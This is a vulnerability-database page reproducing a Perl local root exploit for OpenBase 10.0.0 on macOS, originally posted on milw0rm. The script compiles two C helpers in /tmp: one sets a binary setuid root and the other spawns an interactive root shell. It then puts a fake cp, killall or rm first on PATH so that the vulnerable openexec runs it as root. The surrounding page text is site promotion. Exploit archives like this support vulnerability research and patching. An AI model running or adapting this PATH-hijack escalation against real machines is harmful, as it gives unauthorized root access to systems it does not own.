Lucene search
K

Xcode OpenBase <= 10.0.0 (unsafe system call) Local Root Exploit (OSX)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Xcode OpenBase <= 10.0.0 unsafe system call Local Root Exploit (OSX

Code

                                                #!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# &#60;= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?
#
# This is some fairly blatant and retarded use of system()
#
# cd cp chmod chown rm mkdir and killall appear as strings in the binary hrmm can you cay system() !
# -restart -MachLaunch -launch -noexit -install_plugins -kill -install -uninstall and -deactivate all
# *may* be used to trigger these issues.
#
# I don&#39;t feel like seeing which flags call which binaries... just 3 is plenty to prove the point.
#
# Tested against OpenBase10.0.0_MacOSX.dmg

$binpath = &#34;/Library/OpenBase/bin/openexec&#34;; # Typical location.

$tgts{&#34;0&#34;} = &#34;cp:$binpath -install&#34;;
$tgts{&#34;1&#34;} = &#34;killall:$binpath -kill&#34;;
$tgts{&#34;2&#34;} = &#34;rm:$binpath -uninstall&#34;;

unless (($target) = @ARGV) {
       print &#34;\n\nUsage: $0 &#60;target&#62; \n\nTargets:\n\n&#34;;

       foreach $key (sort(keys %tgts)) {
               ($a,$b) = split(/\:/,$tgts{&#34;$key&#34;});
               print &#34;\t$key . $a - $b\n&#34;;
       }

       print &#34;\n&#34;;
       exit 1;
}

$ret = pack(&#34;l&#34;, ($retval));
($a,$b) = split(/\:/,$tgts{&#34;$target&#34;});
print &#34;*** Target: $a - $b\n&#34;;

open(OP,&#34;&#62;/tmp/finisterre.c&#34;);
printf OP &#34;main()\n&#34;;
printf OP &#34;{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\&#34;chown root: /tmp/pwns ; chmod 4775 /tmp/pwns\&#34;); }\n&#34;;

open(OP,&#34;&#62;/tmp/pwns.c&#34;);
printf OP &#34;main()\n&#34;;
printf OP &#34;{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\&#34;/bin/sh -i\&#34;); }\n&#34;;

system(&#34;gcc -o /tmp/finisterre /tmp/finisterre.c&#34;);
system(&#34;gcc -o /tmp/pwns /tmp/pwns.c&#34;);

system(&#34;echo /bin/cp /tmp/finisterre /tmp/$a&#34;);
system(&#34;/bin/cp /tmp/finisterre /tmp/$a&#34;);

system(&#34;export PATH=/tmp:\$PATH; $b&#34;);
system(&#34;/tmp/pwns&#34;);

# milw0rm.com [2006-11-08]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11